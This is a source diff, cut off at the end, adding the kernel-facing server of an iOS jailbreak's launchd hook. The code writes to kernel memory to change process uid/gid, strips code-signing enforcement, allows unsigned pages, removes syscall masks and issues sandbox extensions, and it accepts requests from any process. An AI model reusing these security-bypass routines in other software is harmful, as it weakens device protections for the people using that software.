+bool is_sub_path(const char* parent, const char* child) +{ + char real_child[PATH_MAX]={0}; + char real_parent[PATH_MAX]={0}; + + if(!realpath(child, real_child)) return false; + if(!realpath(parent, real_parent)) return false; + + if(!stringStartsWith(real_child, real_parent)) + return false; + + return real_child[strlen(real_parent)] == '/'; +} + +static bool systemwide_domain_allowed(audit_token_t clientToken) +{ + return true; +} + +static int systemwide_get_jbroot(char **rootPathOut) +{ + *rootPathOut = strdup(jbinfo(rootPath)); + return 0; +} + +static int systemwide_get_boot_uuid(char **bootUUIDOut) +{ + const char *launchdUUID = getenv("LAUNCHD_UUID"); + *bootUUIDOut = launchdUUID ? strdup(launchdUUID) : NULL; + return 0; +} + +char* generate_sandbox_extensions(audit_token_t *processToken, bool writable) +{ + char* sandboxExtensionsOut=NULL; + char jbrootbase[PATH_MAX]; + char jbrootsecondary[PATH_MAX]; + snprintf(jbrootbase, sizeof(jbrootbase), "/private/var/containers/Bundle/Application/.jbroot-%016llX/", jbinfo(jbrand)); + snprintf(jbrootsecondary, sizeof(jbrootsecondary), "/private/var/mobile/Containers/Shared/AppGroup/.jbroot-%016llX/", jbinfo(jbrand)); + + char* fileclass = writable ? "com.apple.app-sandbox.read-write" : "com.apple.app-sandbox.read"; + + char *readExtension = sandbox_extension_issue_file_to_process("com.apple.app-sandbox.read", jbrootbase, 0, *processToken); + char *execExtension = sandbox_extension_issue_file_to_process("com.apple.sandbox.executable", jbrootbase, 0, *processToken); + char *readExtension2 = sandbox_extension_issue_file_to_process(fileclass, jbrootsecondary, 0, *processToken); + if (readExtension && execExtension && readExtension2) { + char extensionBuf[strlen(readExtension) + 1 + strlen(execExtension) + strlen(readExtension2) + 1]; + strcat(extensionBuf, readExtension); + strcat(extensionBuf, "|"); + strcat(extensionBuf, execExtension); + strcat(extensionBuf, "|"); + strcat(extensionBuf, readExtension2); + sandboxExtensionsOut = strdup(extensionBuf); + } + if (readExtension) free(readExtension); + if (execExtension) free(execExtension); + if (readExtension2) free(readExtension2); + return sandboxExtensionsOut; +} + +static int systemwide_process_checkin(audit_token_t *processToken, char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut) +{ + // Fetch process info + pid_t pid = audit_token_to_pid(*processToken); + char procPath[4*MAXPATHLEN]; + if (proc_pidpath(pid, procPath, sizeof(procPath)) <= 0) { + return -1; + } + + // Find proc in kernelspace + uint64_t proc = proc_find(pid); + if (!proc) { + return -1; + } + + // Get jbroot and boot uuid + systemwide_get_jbroot(rootPathOut); + systemwide_get_boot_uuid(bootUUIDOut); + + + struct statfs fs; + bool isPlatformProcess = statfs(procPath, &fs)==0 && strcmp(fs.f_mntonname, "/private/var") != 0; + + // Generate sandbox extensions for the requesting process + *sandboxExtensionsOut = generate_sandbox_extensions(processToken, isPlatformProcess); + + bool fullyDebugged = false; + if (is_app_path(procPath) || is_sub_path(JBRootPath("/Applications"), procPath)) { + // This is an app, enable CS_DEBUGGED based on user preference + if (jbsetting(markAppsAsDebugged)) { + fullyDebugged = true; + } + } + *fullyDebuggedOut = fullyDebugged; + + // Allow invalid pages + cs_allow_invalid(proc, fullyDebugged); + + // Fix setuid + struct stat sb; + if (stat(procPath, &sb) == 0) { + if (S_ISREG(sb.st_mode) && (sb.st_mode & (S_ISUID | S_ISGID))) { + uint64_t ucred = proc_ucred(proc); + if ((sb.st_mode & (S_ISUID))) { + kwrite32(proc + koffsetof(proc, svuid), sb.st_uid); + kwrite32(ucred + koffsetof(ucred, svuid), sb.st_uid); + kwrite32(ucred + koffsetof(ucred, uid), sb.st_uid); + } + if ((sb.st_mode & (S_ISGID))) { + kwrite32(proc + koffsetof(proc, svgid), sb.st_gid); + kwrite32(ucred + koffsetof(ucred, svgid), sb.st_gid); + kwrite32(ucred + koffsetof(ucred, groups), sb.st_gid); + } + uint32_t flag = kread32(proc + koffsetof(proc, flag)); + if ((flag & P_SUGID) != 0) { + flag &= ~P_SUGID; + kwrite32(proc + koffsetof(proc, flag), flag); + } + } + } + + // In iOS 16+ there is a super annoying security feature called Protobox + // Amongst other things, it allows for a process to have a syscall mask + // If a process calls a syscall it's not allowed to call, it immediately crashes + // Because for tweaks and hooking this is unacceptable, we update these masks to be 1 for all syscalls on all processes + // That will at least get rid of the syscall mask part of Protobox + if (__builtin_available(iOS 16.0, *)) { + proc_allow_all_syscalls(proc); + } + + // For whatever reason after SpringBoard has restarted, AutoFill and other stuff stops working + // The fix is to always also restart the kbd daemon alongside SpringBoard + // Seems to be something sandbox related where kbd doesn't have the right extensions until restarted + if (strcmp(procPath, "/System/Library/CoreServices/SpringBoard.app/SpringBoard") == 0) { + static bool springboardStartedBefore = false; + if (!springboardStartedBefore) { + // Ignore the first SpringBoard launch after userspace reboot + // This fix only matters when SpringBoard gets restarted during runtime + springboardStartedBefore = true; + } + else { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + killall("/System/Library/TextInput/kbd", false); + }); + } + } + // For the Dopamine app itself we want to give it a saved uid/gid of 0, unsandbox it and give it CS_PLATFORM_BINARY + // This is so that the buttons inside it can work when jailbroken, even if the app was not installed by TrollStore + // else if (stringEndsWith(procPath, "/Dopamine.app/Dopamine")) { + // char roothidefile[PATH_MAX]; + // snprintf(roothidefile, sizeof(roothidefile), "%s.roothide",procPath); + // if(access(roothidefile, F_OK)==0) { + // // svuid = 0, svgid = 0 + // uint64_t ucred = proc_ucred(proc); + // kwrite32(proc + koffsetof(proc, svuid), 0); + // kwrite32(ucred + koffsetof(ucred, svuid), 0); + // kwrite32(proc + koffsetof(proc, svgid), 0); + // kwrite32(ucred + koffsetof(ucred, svgid), 0); + + // // platformize + // proc_csflags_set(proc, CS_PLATFORM_BINARY); + // } else { + // kill(pid, SIGKILL); + // } + // } + + proc_rele(proc); + return 0; +} + +static int systemwide_patch_exec_add(audit_token_t *callerToken, const char* exec_path, bool resume) +{ + uint64_t callerPid = audit_token_to_pid(*callerToken); + if (callerPid > 0) { + patchExecAdd((int)callerPid, exec_path, resume); + return 0; + } + return -1; +} + +static int systemwide_patch_exec_del(audit_token_t *callerToken, const char* exec_path) +{ + uint64_t callerPid = audit_token_to_pid(*callerToken); + if (callerPid > 0){ + patchExecDel((int)callerPid, exec_path); + return 0; + } + return -1; +} + +struct jbserver_domain gSystemwideDomain = { + .permissionHandler = systemwide_domain_allowed, + .actions = { + // JBS_SYSTEMWIDE_GET_JBROOT + { + .handler = systemwide_get_jbroot, + .args = (jbserver_arg[]){ + { .name = "root-path", .type = JBS_TYPE_STRING, .out = true }, + { 0 }, + }, + }, + // JBS_SYSTEMWIDE_GET_BOOT_UUID + { + .handler = systemwide_get_boot_uuid, + .args = (jbserver_arg[]){ + { .name = "boot-uuid", .type = JBS_TYPE_STRING, .out = true }, + { 0 }, + }, + }, + // JBS_SYSTEMWIDE_PROCESS_CHECKIN + { + .handler = systemwide_process_checkin, + .args = (jbserver_arg[]) { + { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + { .name = "root-path", .type = JBS_TYPE_STRING, .out = true }, + { .name = "boot-uuid", .type = JBS_TYPE_STRING, .out = true }, + { .name = "sandbox-extensions", .type = JBS_TYPE_STRING, .out = true }, + // { .name = "fully-debugged", .type = JBS_TYPE_BOOL, .out = true }, + { 0 }, + }, + }, + // // JBS_SYSTEMWIDE_FORK_FIX + // { + // .handler = systemwide_fork_fix, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { .name = "child-pid", .type = JBS_TYPE_UINT64, .out = false }, + // { 0 }, + // }, + // }, + // // JBS_SYSTEMWIDE_CS_REVALIDATE + // { + // .handler = systemwide_cs_revalidate, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { 0 }, + // }, + // }, + // // JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW + // { + // // .action = JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW, + // .handler = systemwide_cs_drop_get_task_allow, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { 0 }, + // }, + // }, + // // JBS_SYSTEMWIDE_PATCH_SPAWN + // { + // // .action = JBS_SYSTEMWIDE_PATCH_SPAWN, + // .handler = systemwide_patch_spawn, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { .name = "pid", .type = JBS_TYPE_UINT64, .out = false }, + // { .name = "resume", .type = JBS_TYPE_BOOL, .out = false }, + // { 0 }, + // }, + // }, + // // JBS_SYSTEMWIDE_PATCH_EXEC_ADD + // { + // // .action = JBS_SYSTEMWIDE_PATCH_EXEC_ADD, + // .handler = systemwide_patch_exec_add, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { .name = "exec-path", .type = JBS_TYPE_STRING, .out = false }, + // { .name = "resume", .type = JBS_TYPE_BOOL, .out = false }, + // { 0 }, + // }, + // }, + // // JBS_SYSTEMWIDE_PATCH_EXEC_DEL + // { + // // .action = JBS_SYSTEMWIDE_PATCH_EXEC_DEL, + // .handler = systemwide_patch_exec_del, + // .args = (jbserver_arg[]) { + // { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + // { .name = "exec-path", .type = JBS_TYPE_STRING, .out = false }, + // { 0 }, + // }, + // }, + { 0 }, + }, +}; \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c new file mode 100644 index 00000000..777e4e8c --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c @@ -0,0 +1,124 @@ +#include "jbserver.h" +#include "util.h" + +int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg) +{ + if (xpc_get_type(xmsg) != XPC_TYPE_DICTIONARY) return -1; + + if (!xpc_dictionary_get_value(xmsg, "jb-domain")) return -1; + if (!xpc_dictionary_get_value(xmsg, "action")) return -1; + + uint64_t domainIdx = xpc_dictionary_get_uint64(xmsg, "jb-domain"); + if (domainIdx == 0) return -1; + struct jbserver_domain *domain = server->domains[0]; + for (int i = 1; i < domainIdx && domain; i++) { + domain = server->domains[i]; + } + if (!domain) return -1; + + audit_token_t clientToken = { 0 }; + xpc_dictionary_get_audit_token(xmsg, &clientToken); + + if (domain->permissionHandler) { + if (!domain->permissionHandler(clientToken)) return -2; + } + + uint64_t actionIdx = xpc_dictionary_get_uint64(xmsg, "action"); + if (actionIdx == 0) return -1; + struct jbserver_action *action = &domain->actions[0]; + for (int i = 1; i < actionIdx && action->handler; i++) { + action = &domain->actions[i]; + } + if (!action->handler) return -1; + + int (*handler)(void *a1, void *a2, void *a3, void *a4, void *a5, void *a6, void *a7, void *a8) = action->handler; + void *args[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; + void *argsOut[8] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; + + for (uint64_t i = 0; action->args[i].name && i < 8; i++) { + jbserver_arg *argDesc = &action->args[i]; + if (!argDesc->out) { + switch (argDesc->type) { + case JBS_TYPE_BOOL: + args[i] = (void *)xpc_dictionary_get_bool(xmsg, argDesc->name); + break; + case JBS_TYPE_UINT64: + args[i] = (void *)xpc_dictionary_get_uint64(xmsg, argDesc->name); + break; + case JBS_TYPE_STRING: + args[i] = (void *)xpc_dictionary_get_string(xmsg, argDesc->name); + break; + case JBS_TYPE_DATA: { // Data occupies 2 arguments (buf, len) + if (i < 7) { + args[i] = (void *)xpc_dictionary_get_data(xmsg, argDesc->name, (size_t *)&args[i+1]); i++; + } + break; + } + case JBS_TYPE_ARRAY: + args[i] = (void *)xpc_dictionary_get_array(xmsg, argDesc->name); + break; + case JBS_TYPE_DICTIONARY: + args[i] = (void *)xpc_dictionary_get_dictionary(xmsg, argDesc->name); + break; + case JBS_TYPE_XPC_GENERIC: + args[i] = (void *)xpc_dictionary_get_value(xmsg, argDesc->name); + break; + case JBS_TYPE_CALLER_TOKEN: + args[i] = (void *)&clientToken; + break; + } + } + else { + args[i] = &argsOut[i]; + } + } + + int result = handler(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]); + + xpc_object_t xreply = xpc_dictionary_create_reply(xmsg); + for (uint64_t i = 0; action->args[i].name && i < 8; i++) { + jbserver_arg *argDesc = &action->args[i]; + if (argDesc->out) { + switch (argDesc->type) { + case JBS_TYPE_BOOL: + xpc_dictionary_set_bool(xreply, argDesc->name, (bool)argsOut[i]); + break; + case JBS_TYPE_UINT64: + xpc_dictionary_set_uint64(xreply, argDesc->name, (uint64_t)argsOut[i]); + break; + case JBS_TYPE_STRING: { + if (argsOut[i]) { + xpc_dictionary_set_string(xreply, argDesc->name, (char *)argsOut[i]); + free(argsOut[i]); + } + break; + } + case JBS_TYPE_DATA: { + if (i < 7) { + if (argsOut[i] && action->args[i+1].name) { + xpc_dictionary_set_data(xreply, argDesc->name, (const void *)argsOut[i], (size_t)argsOut[i+1]); + free(argsOut[i]); + } + } + break; + } + case JBS_TYPE_ARRAY: + case JBS_TYPE_DICTIONARY: + case JBS_TYPE_XPC_GENERIC: { + if (argsOut[i]) { + xpc_dictionary_set_value(xreply, argDesc->name, (xpc_object_t)argsOut[i]); + xpc_release((xpc_object_t)argsOut[i]); + } + break; + } + default: + break; + } + } + } + xpc_dictionary_set_int64(xreply, "result", result); + xpc_pipe_routine_reply(xreply); + xpc_release(xreply); + + return 0; +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h new file mode 100644 index 00000000..c8ee5f8f --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h @@ -0,0 +1,101 @@ +#ifndef JBSERVER_H +#define JBSERVER_H + +#include +#include +#include +#include "xpc_private.h" + +typedef enum { + JBS_TYPE_BOOL, + JBS_TYPE_UINT64, + JBS_TYPE_STRING, + JBS_TYPE_DATA, + JBS_TYPE_ARRAY, + JBS_TYPE_DICTIONARY, + JBS_TYPE_CALLER_TOKEN, + JBS_TYPE_XPC_GENERIC, +} jbserver_type; + +typedef struct s_jbserver_arg +{ + const char *name; + jbserver_type type; + bool out; +} jbserver_arg; + +struct jbserver_action { + void *handler; + jbserver_arg *args; +}; + +struct jbserver_domain { + bool (*permissionHandler)(audit_token_t); + struct jbserver_action actions[]; // Flexible array member moved to the end +}; + +struct jbserver_impl { + uint64_t maxDomain; + struct jbserver_domain **domains; +}; + +extern struct jbserver_impl gGlobalServer; + + +// jbserver_global.h +// Domain: System-Wide +// Reachable from all processes +#define JBS_DOMAIN_SYSTEMWIDE 1 +enum { + JBS_SYSTEMWIDE_GET_JBROOT = 1, + JBS_SYSTEMWIDE_GET_BOOT_UUID, + // JBS_SYSTEMWIDE_TRUST_BINARY, + // JBS_SYSTEMWIDE_TRUST_LIBRARY, + JBS_SYSTEMWIDE_PROCESS_CHECKIN, + // JBS_SYSTEMWIDE_FORK_FIX, + JBS_SYSTEMWIDE_CS_REVALIDATE, + JBS_SYSTEMWIDE_CS_DROP_GET_TASK_ALLOW, + JBS_SYSTEMWIDE_PATCH_SPAWN, + JBS_SYSTEMWIDE_PATCH_EXEC_ADD, + JBS_SYSTEMWIDE_PATCH_EXEC_DEL, + // JBS_SYSTEMWIDE_LOCK_PAGE, +}; + +// Domain: Platform +// Reachable from all processes that have CS_PLATFORMIZED or are entitled with platform-application or are the Dopamine app itself +#define JBS_DOMAIN_PLATFORM 2 +enum { + JBS_PLATFORM_SET_PROCESS_DEBUGGED = 1, + JBS_PLATFORM_STAGE_JAILBREAK_UPDATE, + JBS_PLATFORM_JBSETTINGS_GET, + JBS_PLATFORM_JBSETTINGS_SET, +}; + + +// Domain: Watchdog +// Only reachable from watchdogd +#define JBS_DOMAIN_WATCHDOG 3 +enum { + JBS_WATCHDOG_INTERCEPT_USERSPACE_PANIC = 1, + JBS_WATCHDOG_GET_LAST_USERSPACE_PANIC +}; + +// Domain: Root +// Only reachable from root processes +#define JBS_DOMAIN_ROOT 4 +enum { + JBS_ROOT_GET_PHYSRW = 1, + JBS_ROOT_SIGN_THREAD, + JBS_ROOT_GET_SYSINFO, + JBS_ROOT_STEAL_UCRED, + JBS_ROOT_SET_MAC_LABEL, + JBS_ROOT_TRUSTCACHE_INFO, + JBS_ROOT_TRUSTCACHE_ADD_CDHASH, + JBS_ROOT_TRUSTCACHE_CLEAR, +}; + +#define JBS_BOOMERANG_DONE 42 + +int jbserver_received_xpc_message(struct jbserver_impl *server, xpc_object_t xmsg); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c new file mode 100644 index 00000000..fa8a3dc2 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c @@ -0,0 +1,16 @@ +#include "jbserver.h" +extern struct jbserver_domain gSystemwideDomain; +extern struct jbserver_domain gPlatformDomain; +extern struct jbserver_domain gWatchdogDomain; +extern struct jbserver_domain gRootDomain; + +struct jbserver_impl gGlobalServer = { + .maxDomain = 1, + .domains = (struct jbserver_domain*[]){ + &gSystemwideDomain, + // &gPlatformDomain, + // &gWatchdogDomain, + // &gRootDomain, + NULL, + } +}; \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c new file mode 100644 index 00000000..94e447e8 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c @@ -0,0 +1,218 @@ +#include "kernel.h" +#include +// #include "primitives.h" +#include "../fun/krw.h" +#include "info.h" +#include "util.h" +#include "codesign.h" +#include + +uint64_t proc_find(pid_t pidToFind) +{ + __block uint64_t foundProc = 0; + // This sucks a bit due to us not being able to take locks + // If we don't find anything, just repeat 5 times + // Attempts to avoids conditions where we got thrown off by modifications + for (int i = 0; i < 5 && !foundProc; i++) { + proc_iterate(^(uint64_t proc, bool *stop) { + pid_t pid = kread32(proc + koffsetof(proc, pid)); + if (pid == pidToFind) { + foundProc = proc; + *stop = true; + } + }); + } + return foundProc; +} + +int proc_rele(uint64_t proc) +{ + // If proc_find doesn't increment the ref count, there is also no need to decrement it again + return -1; +} + +uint64_t proc_task(uint64_t proc) +{ + if (koffsetof(proc, task)) { + // iOS <= 15: proc has task attribute + return kread_ptr(proc + koffsetof(proc, task)); + } + else { + // iOS >= 16: task is always at "proc + sizeof(proc)" + return proc + ksizeof(proc); + } +} + +uint64_t proc_ucred(uint64_t proc) +{ + if (gSystemInfo.kernelStruct.proc_ro.exists) { + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + return kread_ptr(proc_ro + koffsetof(proc_ro, ucred)); + } + else { + return kread_ptr(proc + koffsetof(proc, ucred)); + } +} + +uint32_t proc_getcsflags(uint64_t proc) +{ + if (gSystemInfo.kernelStruct.proc_ro.exists) { + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + return kread32(proc_ro + koffsetof(proc_ro, csflags)); + } + else { + return kread32(proc + koffsetof(proc, csflags)); + } +} + +void proc_csflags_update(uint64_t proc, uint32_t flags) +{ + if (gSystemInfo.kernelStruct.proc_ro.exists) { + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + kwrite32(proc_ro + koffsetof(proc_ro, csflags), flags); + } + else { + kwrite32(proc + koffsetof(proc, csflags), flags); + } +} + +void proc_csflags_set(uint64_t proc, uint32_t flags) +{ + proc_csflags_update(proc, proc_getcsflags(proc) | (uint32_t)flags); +} + +void proc_csflags_clear(uint64_t proc, uint32_t flags) +{ + proc_csflags_update(proc, proc_getcsflags(proc) & ~(uint32_t)flags); +} + +// To replace dyld patch, make dyld respect DYLD_ environment variables +int proc_csflags_patch(int pid) +{ + int ret = 0; + uint64_t proc = proc_find(pid); + if(proc) { + proc_csflags_set(proc, CS_GET_TASK_ALLOW); + + // auto enable jit (suspend spawn) + cs_allow_invalid(proc, false); + } else { + ret = -1; + } + return ret; +} + +uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name) +{ + uint64_t table = 0; + // New format in iOS 16.1 + if (gSystemInfo.kernelStruct.ipc_space.table_uses_smr) { + table = kread_smrptr(space + koffsetof(ipc_space, table)); + } + else { + table = kread_ptr(space + koffsetof(ipc_space, table)); + } + + return (table + (ksizeof(ipc_entry) * (name >> 8))); +} + +uint64_t pa_index(uint64_t pa) +{ + return atop(pa - kread64(ksymbol(vm_first_phys))); +} + +uint64_t pai_to_pvh(uint64_t pai) +{ + return kread64(ksymbol(pv_head_table)) + (pai * 8); +} + +uint64_t pvh_ptd(uint64_t pvh) +{ + return ((kread64(pvh) & PVH_LIST_MASK) | PVH_HIGH_FLAGS); +} + +void task_set_memory_ownership_transfer(uint64_t task, bool value) +{ + kwrite8(task + koffsetof(task, task_can_transfer_memory_ownership), !!value); +} + +uint64_t mac_label_get(uint64_t label, int slot) +{ + // On 15.0 - 15.1.1, 0 is the equivalent of -1 on 15.2+ + // So, treat 0 as -1 there + uint64_t value = kread_ptr(label + ((slot + 1) * sizeof(uint64_t))); + if (!gSystemInfo.kernelStruct.proc_ro.exists && value == 0) value = -1; + return value; +} + +// void mac_label_set(uint64_t label, int slot, uint64_t value) +// { +// // THe inverse of the condition above, treat -1 as 0 on 15.0 - 15.1.1 +// if (!gSystemInfo.kernelStruct.proc_ro.exists && value == -1) value = 0; +// #ifdef __arm64e__ +// if (jbinfo(usesPACBypass) && !gSystemInfo.kernelStruct.proc_ro.exists) { +// kcall(NULL, ksymbol(mac_label_set), 3, (uint64_t[]){ label, slot, value }); +// return; +// } +// #endif +// kwrite64(label + ((slot + 1) * sizeof(uint64_t)), value); +// } + +#ifdef __arm64e__ +int pmap_cs_allow_invalid(uint64_t pmap) +{ + kwrite8(pmap + koffsetof(pmap, wx_allowed), true); + return 0; +} +#endif + +int cs_allow_invalid(uint64_t proc, bool emulateFully) +{ + if (proc) { + uint64_t task = proc_task(proc); + if (task) { + uint64_t vm_map = kread_ptr(task + koffsetof(task, map)); + if (vm_map) { + uint64_t pmap = kread_ptr(vm_map + koffsetof(vm_map, pmap)); + if (pmap) { + // For non-pmap_cs (arm64) devices, this should always be emulated. +#ifdef __arm64e__ + if (emulateFully) { +#endif + // Fugu15 Rootful + //proc_csflags_clear(proc, CS_EXEC_SET_ENFORCEMENT | CS_EXEC_SET_KILL | CS_EXEC_SET_HARD | CS_REQUIRE_LV | CS_ENFORCEMENT | CS_RESTRICT | CS_KILL | CS_HARD | CS_FORCED_LV); + //proc_csflags_set(proc, CS_DEBUGGED | CS_INVALID_ALLOWED | CS_GET_TASK_ALLOW); + + // XNU + proc_csflags_clear(proc, CS_KILL | CS_HARD); + proc_csflags_set(proc, CS_DEBUGGED); + + task_set_memory_ownership_transfer(task, true); + vm_map_flags flags = { 0 }; + kreadbuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); + flags.switch_protect = false; + flags.cs_debugged = true; + kwritebuf(vm_map + koffsetof(vm_map, flags), &flags, sizeof(flags)); +#ifdef __arm64e__ + } + // For pmap_cs (arm64e) devices, this is enough to get unsigned code to run + pmap_cs_allow_invalid(pmap); +#endif + } + } + } + } + return 0; +} + +// kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va) +// { +// uint64_t kr = -1; +// if (!is_kcall_available()) return kr; +// while (1) { +// kcall(&kr, ksymbol(pmap_enter_options_addr), 8, (uint64_t[]){ pmap, va, pa, VM_PROT_READ | VM_PROT_WRITE, 0, 0, 1, 1 }); +// if (kr != KERN_RESOURCE_SHORTAGE) { +// return kr; +// } +// } +// } \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h new file mode 100644 index 00000000..e940cc2c --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h @@ -0,0 +1,65 @@ +#ifndef KERNEL_H +#define KERNEL_H + +#include +#include +#include +#include +#include "pvh.h" +#include "info.h" + +#define CPSR_KERN_INTR_EN (0x401000 | ((uint32_t)kconstant(kernel_el) << 2)) +#define CPSR_KERN_INTR_DIS (0x4013c0 | ((uint32_t)kconstant(kernel_el) << 2)) +#define CPSR_USER_INTR_DIS 0x13C0 + +#define PERM_KRW_URW 0x7 // R/W for kernel and user + +#define P_SUGID 0x00000100 +#define atop(x) ((vm_address_t)(x) >> vm_real_kernel_page_shift) +typedef struct __attribute__((__packed__)) _vm_map_flags { + unsigned int + /* boolean_t */ wait_for_space:1, /* Should callers wait for space? */ + /* boolean_t */ wiring_required:1, /* All memory wired? */ + /* boolean_t */ no_zero_fill:1, /* No zero fill absent pages */ + /* boolean_t */ mapped_in_other_pmaps:1, /* has this submap been mapped in maps that use a different pmap */ + /* boolean_t */ switch_protect:1, /* Protect map from write faults while switched */ + /* boolean_t */ disable_vmentry_reuse:1, /* All vm entries should keep using newer and higher addresses in the map */ + /* boolean_t */ map_disallow_data_exec:1, /* Disallow execution from data pages on exec-permissive architectures */ + /* boolean_t */ holelistenabled:1, + /* boolean_t */ is_nested_map:1, + /* boolean_t */ map_disallow_new_exec:1, /* Disallow new executable code */ + /* boolean_t */ jit_entry_exists:1, + /* boolean_t */ has_corpse_footprint:1, + /* boolean_t */ terminated:1, + /* boolean_t */ is_alien:1, /* for platform simulation, i.e. PLATFORM_IOS on OSX */ + /* boolean_t */ cs_enforcement:1, /* code-signing enforcement */ + /* boolean_t */ cs_debugged:1, /* code-signed but debugged */ + /* boolean_t */ reserved_regions:1, /* has reserved regions. The map size that userspace sees should ignore these. */ + /* boolean_t */ single_jit:1, /* only allow one JIT mapping */ + /* boolean_t */ never_faults : 1, /* only seen in KDK */ + /* reserved */ pad:13; +} vm_map_flags; + +uint64_t proc_find(pid_t pidToFind); +uint64_t proc_task(uint64_t proc); +uint64_t proc_ucred(uint64_t proc); +int proc_rele(uint64_t proc); +uint32_t proc_getcsflags(uint64_t proc); +void proc_csflags_update(uint64_t proc, uint32_t flags); +void proc_csflags_set(uint64_t proc, uint32_t flags); +void proc_csflags_clear(uint64_t proc, uint32_t flags); +int proc_csflags_patch(int pid); +uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name); +uint64_t pa_index(uint64_t pa); +uint64_t pai_to_pvh(uint64_t pai); +uint64_t pvh_ptd(uint64_t pvh); +void task_set_memory_ownership_transfer(uint64_t task, bool value); +uint64_t mac_label_get(uint64_t label, int slot); +void mac_label_set(uint64_t label, int slot, uint64_t value); +int pmap_cs_allow_invalid(uint64_t pmap); +int cs_allow_invalid(uint64_t proc, bool emulateFully); +kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va); +uint64_t pmap_remove_options(uint64_t pmap, uint64_t start, uint64_t end); +void pmap_remove(uint64_t pmap, uint64_t start, uint64_t end); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h new file mode 100644 index 00000000..dbd7545b --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h @@ -0,0 +1,128 @@ +/* + * Copyright (c) 2006, 2007, 2010 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef _LIBPROC_H_ +#define _LIBPROC_H_ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +/* + * This header file contains private interfaces to obtain process information. + * These interfaces are subject to change in future releases. + */ + +/*! + @define PROC_LISTPIDSPATH_PATH_IS_VOLUME + @discussion This flag indicates that all processes that hold open + file references on the volume associated with the specified + path should be returned. + */ +#define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1 + + +/*! + @define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY + @discussion This flag indicates that file references that were opened + with the O_EVTONLY flag should be excluded from the matching + criteria. + */ +#define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2 + +__BEGIN_DECLS + + +/*! + @function proc_listpidspath + @discussion A function which will search through the current + processes looking for open file references which match + a specified path or volume. + @param type types of processes to be searched (see proc_listpids) + @param typeinfo adjunct information for type + @param path file or volume path + @param pathflags flags to control which files should be considered + during the process search. + @param buffer a C array of int-sized values to be filled with + process identifiers that hold an open file reference + matching the specified path or volume. Pass NULL to + obtain the minimum buffer size needed to hold the + currently active processes. + @param buffersize the size (in bytes) of the provided buffer. + @result the number of bytes of data returned in the provided buffer; + -1 if an error was encountered; + */ +int proc_listpidspath(uint32_t type, + uint32_t typeinfo, + const char *path, + uint32_t pathflags, + void *buffer, + int 